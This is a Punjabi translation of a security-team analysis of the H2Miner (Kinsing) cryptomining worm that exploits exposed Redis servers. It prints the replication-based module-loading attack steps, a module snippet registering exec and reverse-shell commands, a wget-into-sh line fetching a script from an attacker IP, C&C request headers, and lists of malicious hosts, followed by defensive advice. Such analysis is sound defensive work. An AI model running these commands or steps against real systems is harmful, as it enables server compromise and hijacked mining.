H2Miner ਕੀੜਿਆਂ ਦਾ ਇੱਕ ਨਵਾਂ ਪ੍ਰਕੋਪ ਖੋਜਿਆ ਗਿਆ ਹੈ ਜੋ Redis RCE ਦਾ ਸ਼ੋਸ਼ਣ ਕਰਦਾ ਹੈ

ਇੱਕ ਦਿਨ ਪਹਿਲਾਂ, ਮੇਰੇ ਪ੍ਰੋਜੈਕਟ ਦੇ ਸਰਵਰ ਵਿੱਚੋਂ ਇੱਕ ਨੂੰ ਇੱਕ ਸਮਾਨ ਕੀੜੇ ਦੁਆਰਾ ਹਮਲਾ ਕੀਤਾ ਗਿਆ ਸੀ. ਸਵਾਲ ਦੇ ਜਵਾਬ ਦੀ ਖੋਜ ਵਿੱਚ "ਉਹ ਕੀ ਸੀ?" ਮੈਨੂੰ ਅਲੀਬਾਬਾ ਕਲਾਉਡ ਸੁਰੱਖਿਆ ਟੀਮ ਦੁਆਰਾ ਇੱਕ ਵਧੀਆ ਲੇਖ ਮਿਲਿਆ। ਕਿਉਂਕਿ ਮੈਨੂੰ ਹੈਬਰੇ 'ਤੇ ਇਹ ਲੇਖ ਨਹੀਂ ਮਿਲਿਆ, ਇਸ ਲਈ ਮੈਂ ਖਾਸ ਤੌਰ 'ਤੇ ਤੁਹਾਡੇ ਲਈ ਇਸਦਾ ਅਨੁਵਾਦ ਕਰਨ ਦਾ ਫੈਸਲਾ ਕੀਤਾ ਹੈ <3

ਇੰਦਰਾਜ਼

ਹਾਲ ਹੀ ਵਿੱਚ, ਅਲੀਬਾਬਾ ਕਲਾਉਡ ਦੀ ਸੁਰੱਖਿਆ ਟੀਮ ਨੇ H2Miner ਦੇ ਅਚਾਨਕ ਫੈਲਣ ਦੀ ਖੋਜ ਕੀਤੀ। ਇਸ ਕਿਸਮ ਦਾ ਖਤਰਨਾਕ ਕੀੜਾ Redis ਲਈ ਅਧਿਕਾਰ ਦੀ ਘਾਟ ਜਾਂ ਕਮਜ਼ੋਰ ਪਾਸਵਰਡਾਂ ਨੂੰ ਤੁਹਾਡੇ ਸਿਸਟਮਾਂ ਦੇ ਗੇਟਵੇ ਵਜੋਂ ਵਰਤਦਾ ਹੈ, ਜਿਸ ਤੋਂ ਬਾਅਦ ਇਹ ਮਾਸਟਰ-ਸਲੇਵ ਸਿੰਕ੍ਰੋਨਾਈਜ਼ੇਸ਼ਨ ਰਾਹੀਂ ਆਪਣੇ ਖੁਦ ਦੇ ਖਤਰਨਾਕ ਮੋਡੀਊਲ ਨੂੰ ਸਲੇਵ ਨਾਲ ਸਿੰਕ੍ਰੋਨਾਈਜ਼ ਕਰਦਾ ਹੈ ਅਤੇ ਅੰਤ ਵਿੱਚ ਇਸ ਖਤਰਨਾਕ ਮੋਡੀਊਲ ਨੂੰ ਹਮਲਾਵਰ ਮਸ਼ੀਨ ਵਿੱਚ ਡਾਊਨਲੋਡ ਕਰਦਾ ਹੈ ਅਤੇ ਖਤਰਨਾਕ ਢੰਗ ਨਾਲ ਚਲਾਉਂਦਾ ਹੈ। ਨਿਰਦੇਸ਼.

ਅਤੀਤ ਵਿੱਚ, ਤੁਹਾਡੇ ਸਿਸਟਮਾਂ 'ਤੇ ਹਮਲੇ ਮੁੱਖ ਤੌਰ 'ਤੇ ਅਨੁਸੂਚਿਤ ਕਾਰਜਾਂ ਜਾਂ SSH ਕੁੰਜੀਆਂ ਨੂੰ ਸ਼ਾਮਲ ਕਰਨ ਵਾਲੀ ਵਿਧੀ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਕੀਤੇ ਗਏ ਸਨ ਜੋ ਹਮਲਾਵਰ ਦੇ Redis ਵਿੱਚ ਲੌਗਇਨ ਕਰਨ ਤੋਂ ਬਾਅਦ ਤੁਹਾਡੀ ਮਸ਼ੀਨ ਨੂੰ ਲਿਖੀਆਂ ਗਈਆਂ ਸਨ। ਖੁਸ਼ਕਿਸਮਤੀ ਨਾਲ, ਇਹ ਵਿਧੀ ਅਕਸਰ ਅਨੁਮਤੀ ਨਿਯੰਤਰਣ ਵਿੱਚ ਸਮੱਸਿਆਵਾਂ ਜਾਂ ਵੱਖ-ਵੱਖ ਸਿਸਟਮ ਸੰਸਕਰਣਾਂ ਦੇ ਕਾਰਨ ਨਹੀਂ ਵਰਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਹਾਲਾਂਕਿ, ਇੱਕ ਖਤਰਨਾਕ ਮੋਡੀਊਲ ਨੂੰ ਲੋਡ ਕਰਨ ਦਾ ਇਹ ਤਰੀਕਾ ਹਮਲਾਵਰ ਦੀਆਂ ਕਮਾਂਡਾਂ ਨੂੰ ਸਿੱਧਾ ਚਲਾ ਸਕਦਾ ਹੈ ਜਾਂ ਸ਼ੈੱਲ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕਰ ਸਕਦਾ ਹੈ, ਜੋ ਤੁਹਾਡੇ ਸਿਸਟਮ ਲਈ ਖਤਰਨਾਕ ਹੈ।

ਵੱਡੀ ਗਿਣਤੀ ਦੇ ਕਾਰਨ ਸਰਵਰ ਲਗਭਗ 1 ਮਿਲੀਅਨ ਰੈਡਿਸ ਉਦਾਹਰਣਾਂ ਦੇ ਨਾਲ, ਅਲੀਬਾਬਾ ਕਲਾਉਡ ਦੀ ਸੁਰੱਖਿਆ ਟੀਮ, ਇੱਕ ਦੋਸਤਾਨਾ ਯਾਦ ਦਿਵਾਉਣ ਦੇ ਤੌਰ 'ਤੇ, ਸਿਫਾਰਸ਼ ਕਰਦੀ ਹੈ ਕਿ ਉਪਭੋਗਤਾ ਨੈੱਟਵਰਕ ਤੋਂ ਰੈਡਿਸ ਨੂੰ ਐਕਸੈਸ ਦੀ ਆਗਿਆ ਨਾ ਦੇਣ ਅਤੇ ਨਿਯਮਿਤ ਤੌਰ 'ਤੇ ਤਾਕਤ ਅਤੇ ਬਰੂਟ ਫੋਰਸ ਪ੍ਰਤੀ ਕਮਜ਼ੋਰੀ ਲਈ ਆਪਣੇ ਪਾਸਵਰਡਾਂ ਦੀ ਜਾਂਚ ਕਰਨ।

H2 ਮਾਈਨਰ

H2Miner ਇੱਕ ਮਾਈਨਿੰਗ ਬੋਟਨੈੱਟ ਹੈ ਜੋ ਸਿਸਟਮਾਂ ਲਈ ਹੈ ਜਿਸ 'ਤੇ ਅਧਾਰਤ ਹੈ Linux, ਜੋ ਤੁਹਾਡੇ ਸਿਸਟਮ ਨੂੰ ਕਈ ਤਰੀਕਿਆਂ ਨਾਲ ਘੁਸਪੈਠ ਕਰ ਸਕਦਾ ਹੈ, ਜਿਸ ਵਿੱਚ ਅਣਅਧਿਕਾਰਤ ਹੈਡੂਪ ਯਾਰਨ, ਡੌਕਰ, ਅਤੇ ਰੈਡਿਸ ਰਿਮੋਟ ਕਮਾਂਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ (RCE) ਕਮਜ਼ੋਰੀ ਸ਼ਾਮਲ ਹੈ। ਬੋਟਨੈੱਟ ਤੁਹਾਡੇ ਡੇਟਾ ਨੂੰ ਮਾਈਨ ਕਰਨ ਲਈ ਖਤਰਨਾਕ ਸਕ੍ਰਿਪਟਾਂ ਅਤੇ ਮਾਲਵੇਅਰ ਨੂੰ ਡਾਊਨਲੋਡ ਕਰਕੇ, ਹਮਲੇ ਦੇ ਪਾਸੇ ਦੇ ਵਿਸਥਾਰ, ਅਤੇ ਕਮਾਂਡ-ਐਂਡ-ਕੰਟਰੋਲ (C&C) ਸੰਚਾਰਾਂ ਨੂੰ ਬਣਾਈ ਰੱਖ ਕੇ ਕੰਮ ਕਰਦਾ ਹੈ।

Redis RCE

ਇਸ ਵਿਸ਼ੇ 'ਤੇ ਗਿਆਨ ਪਾਵੇਲ ਟੋਪੋਰਕੋਵ ਦੁਆਰਾ ZeroNights 2018 'ਤੇ ਸਾਂਝਾ ਕੀਤਾ ਗਿਆ ਸੀ। ਸੰਸਕਰਣ 4.0 ਤੋਂ ਬਾਅਦ, Redis ਇੱਕ ਪਲੱਗ-ਇਨ ਲੋਡਿੰਗ ਵਿਸ਼ੇਸ਼ਤਾ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ ਜੋ ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਲੋਡ ਕਰਨ ਦੀ ਸਮਰੱਥਾ ਪ੍ਰਦਾਨ ਕਰਦਾ ਹੈ ਤਾਂ ਜੋ ਖਾਸ Redis ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣ ਲਈ C ਨਾਲ ਕੰਪਾਇਲ ਕੀਤੀਆਂ ਫਾਈਲਾਂ ਨੂੰ Redis ਵਿੱਚ ਬਣਾਇਆ ਜਾ ਸਕੇ। ਇਹ ਫੰਕਸ਼ਨ, ਹਾਲਾਂਕਿ ਉਪਯੋਗੀ ਹੈ, ਵਿੱਚ ਇੱਕ ਕਮਜ਼ੋਰੀ ਸ਼ਾਮਲ ਹੈ ਜਿਸ ਵਿੱਚ, ਮਾਸਟਰ-ਸਲੇਵ ਮੋਡ ਵਿੱਚ, ਫਾਈਲਾਂ ਨੂੰ ਫੁੱਲਰੇਸਿੰਕ ਮੋਡ ਦੁਆਰਾ ਸਲੇਵ ਨਾਲ ਸਮਕਾਲੀ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਇਸਦੀ ਵਰਤੋਂ ਹਮਲਾਵਰ ਦੁਆਰਾ ਖਤਰਨਾਕ ਇਸਲਈ ਫਾਈਲਾਂ ਨੂੰ ਟ੍ਰਾਂਸਫਰ ਕਰਨ ਲਈ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ। ਟ੍ਰਾਂਸਫਰ ਪੂਰਾ ਹੋਣ ਤੋਂ ਬਾਅਦ, ਹਮਲਾਵਰ ਮੋਡੀਊਲ ਨੂੰ ਹਮਲਾ ਕੀਤੇ ਰੈਡਿਸ ਉਦਾਹਰਨ 'ਤੇ ਲੋਡ ਕਰਦੇ ਹਨ ਅਤੇ ਕਿਸੇ ਵੀ ਕਮਾਂਡ ਨੂੰ ਚਲਾਉਂਦੇ ਹਨ।

ਮਾਲਵੇਅਰ ਕੀੜੇ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ

ਹਾਲ ਹੀ ਵਿੱਚ, ਅਲੀਬਾਬਾ ਕਲਾਉਡ ਸੁਰੱਖਿਆ ਟੀਮ ਨੇ ਖੋਜ ਕੀਤੀ ਕਿ H2Miner ਖਤਰਨਾਕ ਮਾਈਨਰ ਸਮੂਹ ਦਾ ਆਕਾਰ ਅਚਾਨਕ ਨਾਟਕੀ ਢੰਗ ਨਾਲ ਵਧ ਗਿਆ ਹੈ। ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਅਨੁਸਾਰ, ਹਮਲੇ ਦੀ ਆਮ ਪ੍ਰਕਿਰਿਆ ਹੇਠ ਲਿਖੇ ਅਨੁਸਾਰ ਹੈ:

H2Miner ਇੱਕ ਪੂਰੇ ਹਮਲੇ ਲਈ RCE Redis ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਹਮਲਾਵਰ ਪਹਿਲਾਂ ਅਸੁਰੱਖਿਅਤ Redis ਸਰਵਰਾਂ ਜਾਂ ਕਮਜ਼ੋਰ ਪਾਸਵਰਡ ਵਾਲੇ ਸਰਵਰਾਂ 'ਤੇ ਹਮਲਾ ਕਰਦੇ ਹਨ।

ਫਿਰ ਉਹ ਕਮਾਂਡ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ config set dbfilename red2.so ਫਾਈਲ ਦਾ ਨਾਮ ਬਦਲਣ ਲਈ. ਇਸ ਤੋਂ ਬਾਅਦ ਹਮਲਾਵਰ ਹੁਕਮ ਨੂੰ ਅੰਜ਼ਾਮ ਦਿੰਦੇ ਹਨ slaveof ਮਾਸਟਰ-ਸਲੇਵ ਰੀਪਲੀਕੇਸ਼ਨ ਹੋਸਟ ਐਡਰੈੱਸ ਸੈੱਟ ਕਰਨ ਲਈ।

ਜਦੋਂ ਹਮਲਾ ਕੀਤਾ Redis ਉਦਾਹਰਨ ਹਮਲਾਵਰ ਦੀ ਮਲਕੀਅਤ ਵਾਲੇ ਖਤਰਨਾਕ Redis ਨਾਲ ਇੱਕ ਮਾਸਟਰ-ਸਲੇਵ ਕਨੈਕਸ਼ਨ ਸਥਾਪਤ ਕਰਦਾ ਹੈ, ਤਾਂ ਹਮਲਾਵਰ ਫਾਈਲਾਂ ਨੂੰ ਸਮਕਾਲੀ ਕਰਨ ਲਈ fullresync ਕਮਾਂਡ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸੰਕਰਮਿਤ ਮੋਡੀਊਲ ਨੂੰ ਭੇਜਦਾ ਹੈ। red2.so ਫਾਈਲ ਨੂੰ ਫਿਰ ਹਮਲਾ ਕਰਨ ਵਾਲੀ ਮਸ਼ੀਨ ਤੇ ਡਾਊਨਲੋਡ ਕੀਤਾ ਜਾਵੇਗਾ। ਹਮਲਾਵਰ ਫਿਰ ਇਸ ਸੋ ਫਾਈਲ ਨੂੰ ਲੋਡ ਕਰਨ ਲਈ ./red2.so ਲੋਡਿੰਗ ਮੋਡੀਊਲ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹਨ। ਮੋਡੀਊਲ ਹਮਲਾਵਰ ਤੋਂ ਕਮਾਂਡਾਂ ਚਲਾ ਸਕਦਾ ਹੈ ਜਾਂ ਹਮਲਾ ਕੀਤੀ ਮਸ਼ੀਨ ਤੱਕ ਪਹੁੰਚ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਇੱਕ ਉਲਟਾ ਕੁਨੈਕਸ਼ਨ (ਬੈਕਡੋਰ) ਸ਼ੁਰੂ ਕਰ ਸਕਦਾ ਹੈ।

if (RedisModule_CreateCommand(ctx, "system.exec",
        DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
      if (RedisModule_CreateCommand(ctx, "system.rev",
        RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;

ਇੱਕ ਖਤਰਨਾਕ ਕਮਾਂਡ ਚਲਾਉਣ ਤੋਂ ਬਾਅਦ ਜਿਵੇਂ ਕਿ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, ਹਮਲਾਵਰ ਬੈਕਅੱਪ ਫਾਈਲ ਨਾਮ ਨੂੰ ਰੀਸੈਟ ਕਰੇਗਾ ਅਤੇ ਟਰੇਸ ਨੂੰ ਸਾਫ਼ ਕਰਨ ਲਈ ਸਿਸਟਮ ਮੋਡੀਊਲ ਨੂੰ ਅਨਲੋਡ ਕਰੇਗਾ। ਹਾਲਾਂਕਿ, red2.so ਫਾਈਲ ਅਜੇ ਵੀ ਹਮਲਾ ਕੀਤੀ ਮਸ਼ੀਨ 'ਤੇ ਰਹੇਗੀ। ਉਪਭੋਗਤਾਵਾਂ ਨੂੰ ਸਲਾਹ ਦਿੱਤੀ ਜਾਂਦੀ ਹੈ ਕਿ ਉਹ ਆਪਣੇ Redis ਉਦਾਹਰਣ ਦੇ ਫੋਲਡਰ ਵਿੱਚ ਅਜਿਹੀ ਸ਼ੱਕੀ ਫਾਈਲ ਦੀ ਮੌਜੂਦਗੀ ਵੱਲ ਧਿਆਨ ਦੇਣ।

ਸਰੋਤਾਂ ਨੂੰ ਚੋਰੀ ਕਰਨ ਲਈ ਕੁਝ ਖਤਰਨਾਕ ਪ੍ਰਕਿਰਿਆਵਾਂ ਨੂੰ ਮਾਰਨ ਤੋਂ ਇਲਾਵਾ, ਹਮਲਾਵਰ ਨੇ ਖਤਰਨਾਕ ਬਾਈਨਰੀ ਫਾਈਲਾਂ ਨੂੰ ਡਾਉਨਲੋਡ ਕਰਕੇ ਅਤੇ ਚਲਾਉਣ ਦੁਆਰਾ ਇੱਕ ਖਤਰਨਾਕ ਸਕ੍ਰਿਪਟ ਦਾ ਅਨੁਸਰਣ ਕੀਤਾ 142.44.191.122/kinsing. ਇਸਦਾ ਮਤਲਬ ਹੈ ਕਿ ਹੋਸਟ 'ਤੇ kinsing ਵਾਲਾ ਪ੍ਰੋਸੈਸ ਨਾਮ ਜਾਂ ਡਾਇਰੈਕਟਰੀ ਦਾ ਨਾਮ ਇਹ ਦਰਸਾ ਸਕਦਾ ਹੈ ਕਿ ਉਹ ਮਸ਼ੀਨ ਇਸ ਵਾਇਰਸ ਦੁਆਰਾ ਸੰਕਰਮਿਤ ਹੋਈ ਹੈ।

ਰਿਵਰਸ ਇੰਜੀਨੀਅਰਿੰਗ ਨਤੀਜਿਆਂ ਦੇ ਅਨੁਸਾਰ, ਮਾਲਵੇਅਰ ਮੁੱਖ ਤੌਰ 'ਤੇ ਹੇਠਾਂ ਦਿੱਤੇ ਫੰਕਸ਼ਨ ਕਰਦਾ ਹੈ:

• ਫਾਈਲਾਂ ਨੂੰ ਅਪਲੋਡ ਕਰਨਾ ਅਤੇ ਉਹਨਾਂ ਨੂੰ ਚਲਾਉਣਾ
• ਮਾਈਨਿੰਗ
• C&C ਸੰਚਾਰ ਨੂੰ ਕਾਇਮ ਰੱਖਣਾ ਅਤੇ ਹਮਲਾਵਰ ਕਮਾਂਡਾਂ ਨੂੰ ਚਲਾਉਣਾ

ਆਪਣੇ ਪ੍ਰਭਾਵ ਨੂੰ ਵਧਾਉਣ ਲਈ ਬਾਹਰੀ ਸਕੈਨਿੰਗ ਲਈ ਮਾਸਕੇਨ ਦੀ ਵਰਤੋਂ ਕਰੋ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਪ੍ਰੋਗਰਾਮ ਵਿੱਚ C&C ਸਰਵਰ ਦਾ IP ਐਡਰੈੱਸ ਹਾਰਡ-ਕੋਡ ਕੀਤਾ ਗਿਆ ਹੈ, ਅਤੇ ਹਮਲਾ ਕੀਤਾ ਗਿਆ ਹੋਸਟ HTTP ਬੇਨਤੀਆਂ ਦੀ ਵਰਤੋਂ ਕਰਕੇ C&C ਸੰਚਾਰ ਸਰਵਰ ਨਾਲ ਸੰਚਾਰ ਕਰੇਗਾ, ਜਿੱਥੇ HTTP ਸਿਰਲੇਖ ਵਿੱਚ ਜ਼ੋਂਬੀ (ਸਮਝੌਤਾ ਸਰਵਰ) ਜਾਣਕਾਰੀ ਦੀ ਪਛਾਣ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip

ਹੋਰ ਹਮਲੇ ਦੇ ਤਰੀਕੇ

ਕੀੜੇ ਦੁਆਰਾ ਵਰਤੇ ਗਏ ਪਤੇ ਅਤੇ ਲਿੰਕ

/kinsing

• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh

s&c

• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193

ਟਿਪ

ਪਹਿਲਾਂ, Redis ਨੂੰ ਇੰਟਰਨੈਟ ਤੋਂ ਪਹੁੰਚਯੋਗ ਨਹੀਂ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ ਅਤੇ ਇੱਕ ਮਜ਼ਬੂਤ ​​ਪਾਸਵਰਡ ਨਾਲ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾਣਾ ਚਾਹੀਦਾ ਹੈ। ਇਹ ਵੀ ਮਹੱਤਵਪੂਰਨ ਹੈ ਕਿ ਕਲਾਇੰਟ ਇਹ ਜਾਂਚ ਕਰਨ ਕਿ Redis ਡਾਇਰੈਕਟਰੀ ਵਿੱਚ ਕੋਈ red2.so ਫਾਈਲ ਨਹੀਂ ਹੈ ਅਤੇ ਹੋਸਟ ਉੱਤੇ ਫਾਈਲ/ਪ੍ਰੋਸੈਸ ਨਾਮ ਵਿੱਚ ਕੋਈ "ਕਿਨਿੰਗ" ਨਹੀਂ ਹੈ।

ਸਰੋਤ: www.habr.com